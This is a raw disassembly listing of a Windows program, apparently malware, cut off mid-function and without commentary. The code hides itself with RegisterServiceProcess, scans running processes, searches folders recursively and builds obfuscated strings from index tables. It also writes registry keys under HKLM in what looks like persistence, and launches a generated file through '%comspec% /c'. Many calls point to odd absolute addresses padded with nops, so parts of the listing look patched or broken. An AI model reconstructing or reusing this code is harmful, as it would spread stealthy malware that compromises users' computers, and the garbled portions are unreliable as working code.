[esp+284h+var_215], ecx push edx push eax lea ecx, [esp+28Ch+var_232] mov [esp+28Ch+var_21D], ebx mov [esp+28Ch+var_211], 1 call sub_401E47 push offset asc_444AD4 ; "\\" mov ecx, eax mov byte ptr [esp+288h+var_4], 3 call sub_4012EE test eax, eax lea ecx, [esp+284h+var_278] mov byte ptr [esp+284h+var_4], bl setz [esp+284h+var_279] call sub_401226 cmp [esp+284h+var_279], bl jz short loc_40CE0B mov ecx, [esp+284h+var_221] lea edx, [esp+284h+var_278] push ecx push edx lea ecx, [esp+28Ch+var_232] call sub_401E47 push offset dword_448F34 mov ecx, eax mov byte ptr [esp+288h+var_4], 4 call sub_401A9B lea ecx, [esp+284h+var_278] mov byte ptr [esp+284h+var_4], bl call sub_401226 loc_40CE0B: ; CODE XREF: sub_40CC90+142j push ebx lea ecx, [esp+288h+var_232] call sub_4014DD push eax lea ecx, [esp+28Ch+var_247] call sub_4014DD push eax mov eax, [esp+290h+var_219] push eax lea ecx, [esp+294h+var_25C] call sub_40168B mov ecx, [esp+294h+var_260] push eax push ecx call sub_40227A push eax lea edx, [esp+2A0h+var_20C] push offset aFilesFoundD ; "Files Found: %d" push edx nop call sub_5F76F7 mov eax, [esp+2A4h+var_211] add esp, 24h cmp eax, ebx jnz short loc_40CE7C mov eax, [esp+280h+var_215] lea ecx, [esp+280h+var_208] push eax push ecx lea ecx, [esp+288h+var_258] call sub_40168B mov edx, [esp+288h+var_25C] push eax push edx call sub_40152D add esp, 10h loc_40CE7C: ; CODE XREF: sub_40CC90+1C9j mov eax, [esp+280h+var_219] push eax call sub_401E3D add esp, 4 push ebx nop call near ptr 2850505h pop ebx loc_40CE91: ; CODE XREF: sub_40CC90+36j mov ecx, [esp+280h+var_C] mov al, 1 pop esi mov large fs:0, ecx add esp, 27Ch retn 4 sub_40CC90 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 90h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40CF40 proc near ; CODE XREF: sub_40199Cj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40CF40 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+4] call sub_40142E lea ecx, [esi+19h] mov [esp+14h+var_4], 0 call sub_40142E lea ecx, [esi+2Eh] mov byte ptr [esp+14h+var_4], 1 call sub_40142E mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_40CF40 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_40CFC0: ; CODE XREF: ___:loc_40228Ej push 0FFFFFFFFh push offset loc_43A086 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+4], esi lea ecx, [esi+2Eh] mov dword ptr [esp+10h], 1 call sub_401226 lea ecx, [esi+19h] mov byte ptr [esp+10h], 0 call sub_401226 lea ecx, [esi+4] mov dword ptr [esp+10h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40D040 proc near ; CODE XREF: sub_40227Aj var_548 = byte ptr -548h var_51C = byte ptr -51Ch var_51B = byte ptr -51Bh var_408 = byte ptr -408h var_304 = byte ptr -304h var_200 = byte ptr -200h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h arg_14 = dword ptr 18h sub esp, 548h lea eax, [esp+548h+var_408] push ebx push ebp push esi mov esi, [esp+554h+arg_10] push edi mov edi, dword_511AE4 push esi push offset aS_1 ; "%s\\*" push 104h push eax call edi ; _snprintf add esp, 10h lea ecx, [esp+558h+var_548] lea edx, [esp+558h+var_408] push ecx push edx nop call near ptr 28A0000h mov ebp, [esp+558h+arg_14] mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40D107 loc_40D090: ; CODE XREF: sub_40D040+C5j test [esp+558h+var_548], 10h jz short loc_40D0F7 cmp [esp+558h+var_51C], 2Eh jnz short loc_40D0AA mov al, [esp+558h+var_51B] test al, al jz short loc_40D0F7 cmp al, 2Eh jz short loc_40D0F7 loc_40D0AA: ; CODE XREF: sub_40D040+5Cj lea eax, [esp+558h+var_51C] lea ecx, [esp+558h+var_304] push eax push esi push offset dword_444684 push 104h push ecx call edi ; _snprintf mov eax, [esp+56Ch+arg_C] mov ecx, [esp+56Ch+arg_8] lea edx, [esp+56Ch+var_304] push ebp push edx mov edx, [esp+574h+arg_4] push eax mov eax, [esp+578h+arg_0] push ecx push edx push eax call sub_40227A add esp, 2Ch mov ebp, eax loc_40D0F7: ; CODE XREF: sub_40D040+55j ; sub_40D040+64j ... lea ecx, [esp+558h+var_548] push ecx push ebx nop call near ptr 2890000h test eax, eax jnz short loc_40D090 loc_40D107: ; CODE XREF: sub_40D040+4Ej push ebx call near ptr 288033Bh nop mov edx, [esp+558h+arg_C] lea eax, [esp+558h+var_408] push edx push esi push offset dword_444684 push 104h push eax call edi ; _snprintf add esp, 14h lea ecx, [esp+558h+var_548] lea edx, [esp+558h+var_408] push ecx push edx nop call near ptr 28A0000h mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40D19B loc_40D148: ; CODE XREF: sub_40D040+159j lea eax, [esp+558h+var_51C] lea ecx, [esp+558h+var_200] push eax push esi push offset aFoundSS ; "Found: %s\\%s" push 200h push ecx inc ebp call edi ; _snprintf mov edx, [esp+56Ch+arg_8] mov ecx, [esp+56Ch+arg_4] lea eax, [esp+56Ch+var_200] push edx mov edx, [esp+570h+arg_0] push eax push ecx push edx call sub_40152D add esp, 24h lea eax, [esp+558h+var_548] push eax push ebx nop call near ptr 2890000h test eax, eax jnz short loc_40D148 loc_40D19B: ; CODE XREF: sub_40D040+106j push ebx nop call near ptr 288033Bh pop edi mov eax, ebp pop esi pop ebp pop ebx add esp, 548h retn sub_40D040 endp ; --------------------------------------------------------------------------- db 90h db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40D210 proc near ; CODE XREF: sub_40104Bj var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40D210 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 4 push 4 push 1 push 13h lea eax, [esp+58h+var_3C] push 1 mov esi, ecx push eax call sub_4019C4 add esp, 1Ch push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017EE lea ecx, [esi+19h] push eax push ecx mov ecx, offset dword_449118 call sub_40159B sub_40D210 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 0Ch push 5 push 4 push 13h lea edx, [esp+1Ch] push 1 push edx call sub_4019C4 add esp, 1Ch push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017EE push eax lea eax, [esi+47h] push eax mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 4 push 4 push 1 push 3 push 16h lea ecx, [esp+20h] push 13h push ecx call sub_4019C4 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+44h], 2 call sub_4017EE lea edx, [esi+75h] push eax push edx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 0Ch push 5 push 4 push 3 push 16h push 13h lea eax, [esp+3Ch] push eax call sub_4019C4 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017EE add esi, 0A3h push eax push esi mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 60h dup(0CCh) ; --------------------------------------------------------------------------- loc_40D3C0: ; CODE XREF: ___:004013CFj sub esp, 104h lea eax, [esp+0] push 104h push eax push 0 call near ptr 28A1CCEh nop push eax nop call near ptr 28A1273h mov eax, dword_449070 test eax, eax jz loc_40D4E3 mov ecx, dword_44906C test ecx, ecx jz loc_40D4E3 mov ecx, dword_448F38 test ecx, ecx jz loc_40D4E3 push 0 push 2 call eax ; CreateToolhelp32Snapshot cmp eax, 0FFFFFFFFh mov dword_449068, eax jz loc_40D4E3 push ebp push offset dword_448F40 push eax xor ebp, ebp mov dword_448F40, 128h call dword_44906C ; Process32First test eax, eax jz loc_40D4CC push ebx mov ebx, [esp+110h] push esi mov esi, dword_511AE0 push edi loc_40D44D: ; CODE XREF: ___:0040D4C7j mov edi, offset dword_448F64 or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+10h] repne scasb not ecx dec ecx mov edi, offset dword_448F64 push ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx lea edi, [esp+14h] sub edx, ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx push offset dword_448F64 add edx, ecx push edx call esi ; strncmp add esp, 0Ch test eax, eax jz short loc_40D4B3 mov edi, offset dword_448F64 or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx push offset dword_448F64 mov ecx, ebx call sub_40168B push eax call esi ; strncmp add esp, 0Ch test eax, eax jnz short loc_40D4B4 loc_40D4B3: ; CODE XREF: ___:0040D48Bj inc ebp loc_40D4B4: ; CODE XREF: ___:0040D4B1j mov eax, dword_449068 push offset dword_448F40 push eax call dword_448F38 ; Process32Next test eax, eax jnz short loc_40D44D pop edi pop esi pop ebx loc_40D4CC: ; CODE XREF: ___:0040D437j mov ecx, dword_449068 push ecx call near ptr 2850BF4h nop mov eax, ebp pop ebp add esp, 104h retn ; --------------------------------------------------------------------------- loc_40D4E3: ; CODE XREF: ___:0040D3E6j ; ___:0040D3F4j ... xor eax, eax add esp, 104h retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_40D540: ; CODE XREF: ___:00401FAFj sub esp, 11Ch lea eax, [esp+18h] push ebx push esi push edi push 104h push eax call near ptr 28B0DC4h nop mov edi, offset aExplorer_exe ; "\\explorer.exe" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+24h] repne scasb not ecx sub edi, ecx push eax mov esi, edi mov ebx, ecx mov edi, edx or ecx, 0FFFFFFFFh repne scasb mov ecx, ebx dec edi shr ecx, 2 rep movsd mov ecx, ebx push 80h and ecx, 3 push 3 push eax push 1 rep movsb mov edi, dword_5118F0 lea eax, [esp+38h] push 80000000h push eax call edi mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40D606 lea ecx, [esp+1Ch] lea edx, [esp+0Ch] push ecx lea eax, [esp+18h] push edx push eax push esi call near ptr 28B0717h nop mov ebx, dword_5118E0 push esi call ebx mov ecx, [esp+12Ch] push 0 push 80h push 3 push 0 push 2 push 40000000h push ecx call edi mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40D606 lea edx, [esp+1Ch] lea eax, [esp+0Ch] push edx lea ecx, [esp+18h] push eax push ecx push esi call near ptr 28B0000h nop push esi call ebx loc_40D606: ; CODE XREF: ___:0040D5A9j ; ___:0040D5EBj pop edi pop esi pop ebx add esp, 11Ch retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40D660 proc near ; CODE XREF: sub_401B6Dj var_19C = byte ptr -19Ch var_184 = byte ptr -184h var_16C = byte ptr -16Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_40D660 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 190h push ebx push esi mov esi, ecx push edi lea ecx, [esp+1A8h+var_16C] call sub_40142E push 104h push 104h lea ecx, [esp+1B0h+var_16C] mov [esp+1B0h+var_4], 0 call sub_401C71 push eax call near ptr 2800000h nop lea ecx, [esp+1A8h+var_16C] call sub_4017EE push eax lea ecx, [esi+4] call sub_4015E1 lea ecx, [esp+1A8h+var_184] call sub_40142E mov ebx, 1 push 104h push 104h lea ecx, [esp+1B0h+var_184] mov byte ptr [esp+1B0h+var_4], bl call sub_401C71 push eax push 0 call near ptr 28A1CCEh nop push eax nop call near ptr 28A1273h push offset aKernel32_dll_0 ; "kernel32.dll" nop call near ptr 27F088Ah mov esi, eax test esi, esi jz short loc_40D751 mov edi, dword_511918 push offset aRegisterservic ; "RegisterServiceProcess" push esi call edi push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push esi mov dword_449074, eax call edi push offset aProcess32first ; "Process32First" push esi mov dword_449070, eax call edi push offset aProcess32next ; "Process32Next" push esi mov dword_44906C, eax call edi mov dword_448F38, eax mov eax, dword_449074 test eax, eax jz short loc_40D751 push ebx push 0 call eax loc_40D751: ; CODE XREF: sub_40D660+A7j ; sub_40D660+EAj mov esi, [esp+1A8h+arg_0] push 0 mov ecx, esi call sub_4017EE push eax lea ecx, [esp+1B0h+var_184] call sub_402135 test eax, eax jnz short loc_40D788 mov al, byte_44915F test al, al jz short loc_40D788 mov ecx, esi call sub_4017EE push eax call sub_401604 ; --------------------------------------------------------------------------- add esp, 4 loc_40D788: ; CODE XREF: sub_40D660+10Dj ; sub_40D660+116j push 0 push 5 push 18h push 5 push 4Eh push 46h push 47h push 12h push 10h push 10h push 0Eh push 9 lea eax, [esp+1D8h+var_19C] push 17h push eax call sub_4019C4 add esp, 38h mov ecx, eax mov byte ptr [esp+1A8h+var_4], 2 call sub_4017EE push eax call sub_401604 sub_40D660 endp ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+0Ch] mov [esp+1A4h], bl call sub_401226 push 0 push 5 push 18h push 5 push 4Eh push 14h push 13h push 0Fh push 8 push 0Ch push 0Ch lea ecx, [esp+38h] push 4 push ecx call sub_4019C4 add esp, 34h mov ecx, eax mov byte ptr [esp+1A4h], 3 call sub_4017EE push eax call sub_401604 ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+0Ch] mov [esp+1A4h], bl call sub_401226 push 0 push 5 push 18h push 5 push 4Eh push 4 push 10h push 14h push 6 lea edx, [esp+30h] push 14h push edx call sub_4019C4 add esp, 2Ch mov ecx, eax mov byte ptr [esp+1A4h], 4 call sub_4017EE push eax call sub_401604 ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+0Ch] mov [esp+1A4h], bl call sub_401226 push 0 push 5 push 18h push 5 push 4Eh push 14h push 13h push ebx push 0Ch push 2 push 13h lea eax, [esp+38h] push 0Dh push eax call sub_4019C4 add esp, 34h mov ecx, eax mov byte ptr [esp+1A4h], 5 call sub_4017EE push eax call sub_401604 ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+0Ch] mov [esp+1A4h], bl call sub_401226 push 0 push 5 push 18h push 5 push 4Eh push 46h push 47h push 13h push 9 push 0Eh push 5 lea ecx, [esp+38h] push 10h push ecx call sub_4019C4 add esp, 34h mov ecx, eax mov byte ptr [esp+1A4h], 6 call sub_4017EE push eax call sub_401604 ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+0Ch] mov [esp+1A4h], bl call sub_401226 push 0 push 5 push 18h push 5 push 4Eh push 8 push 3 push 14h push ebx push 10h push 13h lea edx, [esp+38h] push 0Dh push edx call sub_4019C4 add esp, 34h mov ecx, eax mov byte ptr [esp+1A4h], 7 call sub_4017EE push eax call sub_401604 ; --------------------------------------------------------------------------- db 83h dd 4C8D04C4h, 9C880C24h, 1A424h, 38D4E800h, 448DFFFFh dd 6A3C24h, 244C8D50h, 3EB4E82Ch, 0C085FFFFh, 116850Fh dd 8B550000h, 3E7CE8CEh, 6A50FFFFh, 244C8D5Ch, 3E70E848h dd 8D50FFFFh, 0A8248Ch, 8680000h, 5100444Bh, 1E9D66E8h dd 3D8B9000h, 5118ACh, 0FF14C483h, 24948DD7h, 9Ch, 8D52006Ah dd 8B30244Ch, 3CD9E8E8h, 358BFFFFh, 511914h, 85D6FF50h dd 0FF3075C0h, 3DC52BD7h, 61A8h, 0D0682573h, 90000007h dd 442994E8h, 24848D02h, 9Ch, 8D50006Ah, 0E830244Ch, 0FFFF3CA3h dd 85D6FF50h, 0A0D074C0h, 4497BBh, 74C0845Dh, 0D8358B39h dd 6800511Ah, 104h, 9C248C8Dh, 68000000h, 444B00h, 83D6FF51h dd 4C8D0CC4h, 4682424h, 0E8000001h, 0FFFF3DCAh, 9C24948Dh dd 50000000h, 83D6FF52h, 11B90CC4h, 33000000h, 247C8DC0h dd 24948D54h, 98h, 8966ABF3h, 842484h, 448D0000h, 4C8D0C24h dd 51505424h, 6A006Ah, 6A53286Ah, 52006A00h, 44C7006Ah dd 447C24h, 0F2E80000h, 90023F2Ah, 874C085h, 0E890006Ah dd 7782C3FEh, 24244C8Dh, 0A42484C6h, 1, 0FF3795E8h, 244C8DFFh dd 2484C73Ch, 1A4h, 0FFFFFFFFh, 0FF3781E8h, 248C8BFFh dd 19Ch, 5EC38A5Fh, 0D89645Bh, 0 ; --------------------------------------------------------------------------- add esp, 19Ch retn 4 ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 120h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40DBF0 proc near ; CODE XREF: sub_401195j mov al, byte_449161 test al, al jz short loc_40DC04 push offset word_449162 nop call near ptr 27F0D56h loc_40DC04: ; CODE XREF: sub_40DBF0+7j mov al, 1 retn sub_40DBF0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40DC20 proc near ; CODE XREF: sub_401E79j var_6D0 = dword ptr -6D0h var_6CC = dword ptr -6CCh var_6C8 = dword ptr -6C8h var_6C4 = dword ptr -6C4h var_6C0 = dword ptr -6C0h var_6BC = dword ptr -6BCh var_6B8 = dword ptr -6B8h var_6B4 = dword ptr -6B4h var_6B0 = byte ptr -6B0h var_6AC = byte ptr -6ACh var_694 = byte ptr -694h var_67C = byte ptr -67Ch var_664 = byte ptr -664h var_64C = byte ptr -64Ch var_634 = byte ptr -634h var_61C = byte ptr -61Ch var_604 = byte ptr -604h var_5EC = byte ptr -5ECh var_5D4 = byte ptr -5D4h var_5BC = byte ptr -5BCh var_5A4 = byte ptr -5A4h var_58C = byte ptr -58Ch var_574 = byte ptr -574h var_564 = dword ptr -564h var_534 = word ptr -534h var_520 = byte ptr -520h var_41C = byte ptr -41Ch var_318 = byte ptr -318h var_214 = byte ptr -214h var_110 = byte ptr -110h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40DC20 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 6C4h push esi lea eax, [esp+6D4h+var_41C] push 104h push eax push 0 nop call near ptr 28A1CCEh push eax nop call near ptr 28A1273h lea ecx, [esp+6D4h+var_318] push ecx push 104h nop call near ptr 27E0000h push 0 push 14h push 1 push 2 push 4Fh push 0Fh push 12h push 6 lea edx, [esp+6F4h+var_5EC] push 1 push edx call sub_4019C4 add esp, 28h mov ecx, eax mov [esp+6D4h+var_4], 0 call sub_4017EE push eax lea eax, [esp+6D8h+var_318] push eax lea ecx, [esp+6DCh+var_520] push offset dword_444684 push ecx nop call sub_5F76F7 add esp, 10h lea ecx, [esp+6D4h+var_5EC] mov [esp+6D4h+var_4], 0FFFFFFFFh call sub_401226 push 0 push 0 push 2 push 0 push 0 lea edx, [esp+6E8h+var_520] push 40000000h push edx call near ptr 2880000h nop mov esi, eax test esi, esi jbe loc_40E178 push ebx push ebp push edi lea ecx, [esp+6E0h+var_6AC] call sub_40142E push 0 push 14h push 1 push 2 lea eax, [esp+6F0h+var_604] push 4Fh push eax mov [esp+6F8h+var_4], 1 call sub_4019C4 mov edi, eax push 0 push 39h push 10h push 0Dh push 5 push 14h push 39h push 4Eh push 0Ch push 5 lea ecx, [esp+720h+var_634] push 4 push ecx mov byte ptr [esp+728h+var_4], 2 call sub_4019C4 add esp, 48h mov ebp, eax push 0 push 14h push 1 push 2 lea edx, [esp+6F0h+var_664] push 4Fh push edx mov byte ptr [esp+6F8h+var_4], 3 call sub_4019C4 mov ebx, eax push 0 push 39h push 10h push 0Dh push 5 push 14h push 39h push 4Eh push 20h push 52h push 4Eh push 0Ch push 5 lea eax, [esp+72Ch+var_67C] push 4 push eax mov byte ptr [esp+734h+var_4], 4 call sub_4019C4 add esp, 54h mov [esp+6E0h+var_6B4], eax push 0 push 5 push 0Eh push 0Fh push 4 lea ecx, [esp+6F4h+var_61C] push 53h push ecx mov byte ptr [esp+6FCh+var_4], 5 call sub_4019C4 mov [esp+6FCh+var_6C8], eax mov byte ptr [esp+6FCh+var_4], 6 push 0 push 14h push 12h push 1 push 14h push 13h push 4Eh push 0Fh push 14h push 0Fh lea edx, [esp+724h+var_5D4] push 7 push edx call sub_4019C4 add esp, 4Ch mov [esp+6E0h+var_6B8], eax push 0 push 54h push 54h push 45h push 39h push 54h push 54h push 4Eh push 0Ch push 5 lea eax, [esp+708h+var_5A4] push 4 push eax mov byte ptr [esp+710h+var_4], 7 call sub_4019C4 mov [esp+710h+var_6C0], eax push 0 push 54h push 54h push 45h push 39h push 54h push 54h push 4Eh push 20h push 52h push 4Eh push 0Ch push 5 lea ecx, [esp+744h+var_58C] push 4 push ecx mov byte ptr [esp+74Ch+var_4], 8 call sub_4019C4 add esp, 6Ch mov [esp+6E0h+var_6D0], eax push 0 push 5 push 0Eh push 0Fh push 4 push 4Eh push 0Fh push 14h push 0Fh push 7 push 4Eh push 54h push 54h push 45h push 39h push 54h push 54h push 4Eh push 14h push 13h push 9 push 18h push 5 push 4Eh push 14h mov byte ptr [esp+744h+var_4], 9 push 0Fh push 0Eh push 4Eh push 6 lea edx, [esp+754h+var_694] push 9 push edx call sub_4019C4 mov [esp+75Ch+var_6CC], eax push 0 push 14h push 12h push 1 push 14h push 13h lea eax, [esp+774h+var_5BC] push 53h push eax mov byte ptr [esp+77Ch+var_4], 0Ah call sub_4019C4 add esp, 9Ch mov [esp+6E0h+var_6C4], eax push 0 push 6 push 6 push 0Fh push 4Eh push 0Fh push 8 push 3 push 5 lea ecx, [esp+704h+var_64C] push 56h push ecx mov byte ptr [esp+70Ch+var_4], 0Bh call sub_4019C4 add esp, 2Ch mov [esp+6E0h+var_6BC], eax mov ecx, edi mov byte ptr [esp+6E0h+var_4], 0Ch call sub_4017EE push eax mov ecx, ebp call sub_4017EE push eax mov ecx, ebx call sub_4017EE mov ecx, [esp+6E8h+var_6B4] push eax call sub_4017EE mov ecx, [esp+6ECh+var_6C8] push eax call sub_4017EE mov ecx, [esp+6F0h+var_6B8] push eax call sub_4017EE mov ecx, [esp+6F4h+var_6C0] push eax call sub_4017EE mov ecx, [esp+6F8h+var_6D0] push eax call sub_4017EE mov ecx, [esp+6FCh+var_6CC] push eax call sub_4017EE mov ecx, [esp+700h+var_6C4] push eax call sub_4017EE mov ecx, [esp+704h+var_6BC] push eax call sub_4017EE push eax lea edx, [esp+70Ch+var_6AC] push offset aSSSSSSSSSS ; "%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r%s\r\n%s\r%s\r\n" push edx call sub_40102D add esp, 34h mov byte ptr [esp+6E0h+var_4], 0Bh lea ecx, [esp+6E0h+var_64C] call sub_401226 lea ecx, [esp+6E0h+var_5BC] mov byte ptr [esp+6E0h+var_4], 0Ah call sub_401226 lea ecx, [esp+6E0h+var_694] mov byte ptr [esp+6E0h+var_4], 9 call sub_401226 lea ecx, [esp+6E0h+var_58C] mov byte ptr [esp+6E0h+var_4], 8 call sub_401226 lea ecx, [esp+6E0h+var_5A4] mov byte ptr [esp+6E0h+var_4], 7 call sub_401226 lea ecx, [esp+6E0h+var_5D4] mov byte ptr [esp+6E0h+var_4], 6 call sub_401226 lea ecx, [esp+6E0h+var_61C] mov byte ptr [esp+6E0h+var_4], 5 call sub_401226 lea ecx, [esp+6E0h+var_67C] mov byte ptr [esp+6E0h+var_4], 4 call sub_401226 lea ecx, [esp+6E0h+var_664] mov byte ptr [esp+6E0h+var_4], 3 call sub_401226 lea ecx, [esp+6E0h+var_634] mov byte ptr [esp+6E0h+var_4], 2 call sub_401226 lea ecx, [esp+6E0h+var_604] mov byte ptr [esp+6E0h+var_4], 1 call sub_401226 lea eax, [esp+6E0h+var_6B0] push 0 push eax push 69h lea ecx, [esp+6ECh+var_6AC] call sub_4017EE push eax push esi nop call near ptr 27F0000h push esi nop call near ptr 2850BF4h mov ecx, 11h xor eax, eax lea edi, [esp+6E0h+var_564] push 104h rep stosd lea ecx, [esp+6E4h+var_41C] mov [esp+6E4h+var_564], 44h push ecx push eax mov [esp+6ECh+var_534], ax nop call near ptr 28A1CCEh push eax nop call near ptr 28A1273h lea edx, [esp+6E0h+var_41C] lea eax, [esp+6E0h+var_520] push edx push eax lea ecx, [esp+6E8h+var_214] push offset aComspecCSS ; "%%comspec%% /c %s %s" push ecx nop call sub_5F76F7 add esp, 10h lea edx, [esp+6E0h+var_110] lea eax, [esp+6E0h+var_214] push 104h push edx push eax call near ptr 2810000h nop lea ecx, [esp+6E0h+var_574] lea edx, [esp+6E0h+var_564] push ecx push edx push 0 push 0 push 28h push 1 push 0 push 0 lea eax, [esp+700h+var_110] push eax push 0 nop call near ptr 2800565h lea ecx, [esp+6E0h+var_6AC] mov [esp+6E0h+var_4], 0FFFFFFFFh call sub_401226 pop edi pop ebp pop ebx mov al, 1 pop esi mov ecx, [esp+6D0h+var_C] mov large fs:0, ecx add esp, 6D0h retn ; --------------------------------------------------------------------------- loc_40E178: ; CODE XREF: sub_40DC20+D6j mov ecx, [esp+6D4h+var_C] mov al, 1 pop esi mov large fs:0, ecx add esp, 6D0h retn sub_40DC20 endp ; --------------------------------------------------------------------------- db 160h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40E2F0 proc near ; CODE XREF: sub_401730j var_70 = dword ptr -70h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_40E2F0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 64h push ebx push ebp push esi push edi lea ecx, [esp+80h+var_54] call sub_40142E lea ecx, [esp+80h+var_6C] mov [esp+80h+var_4], 0 call sub_40142E lea ecx, [esp+80h+var_3C] mov byte ptr [esp+80h+var_4], 1 call sub_40142E push 0 push 5 push 3 push 0Eh push 29h push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea eax, [esp+144h+var_24] mov bl, 2 push 2Dh push eax mov byte ptr [esp+14Ch+var_4], bl call sub_4019C4 add esp, 0CCh push eax lea ecx, [esp+84h+var_6C] mov byte ptr [esp+84h+var_4], 3 call sub_40202C lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 push 0 push 13h push 5 push 3 push 9 push 16h push 12h push 5 push 2Dh push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea ecx, [esp+154h+var_24] push 2Dh push ecx call sub_4019C4 add esp, 0DCh push eax lea ecx, [esp+84h+var_3C] mov byte ptr [esp+84h+var_4], 4 call sub_40202C lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 push 0 push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea edx, [esp+134h+var_24] push 2Dh push edx call sub_4019C4 add esp, 0BCh push eax lea ecx, [esp+84h+var_54] mov byte ptr [esp+84h+var_4], 5 call sub_40202C lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_54] call sub_4017EE mov ebp, dword_51175C push eax push 80000002h call ebp mov esi, [esp+80h+arg_4] mov ecx, esi call sub_40168B mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, esi call sub_40168B mov ebx, [esp+84h+arg_0] push eax push 1 push 0 mov ecx, ebx call sub_40168B mov ecx, [esp+90h+var_70] push eax push ecx nop call near ptr 2970000h mov edx, [esp+80h+var_70] push edx nop call near ptr 2930000h push 0 lea eax, [esp+84h+var_70] lea ecx, [esp+84h+var_6C] push eax push 0 push 0F003Fh push 0 push 0 push 0 call sub_4017EE push eax push 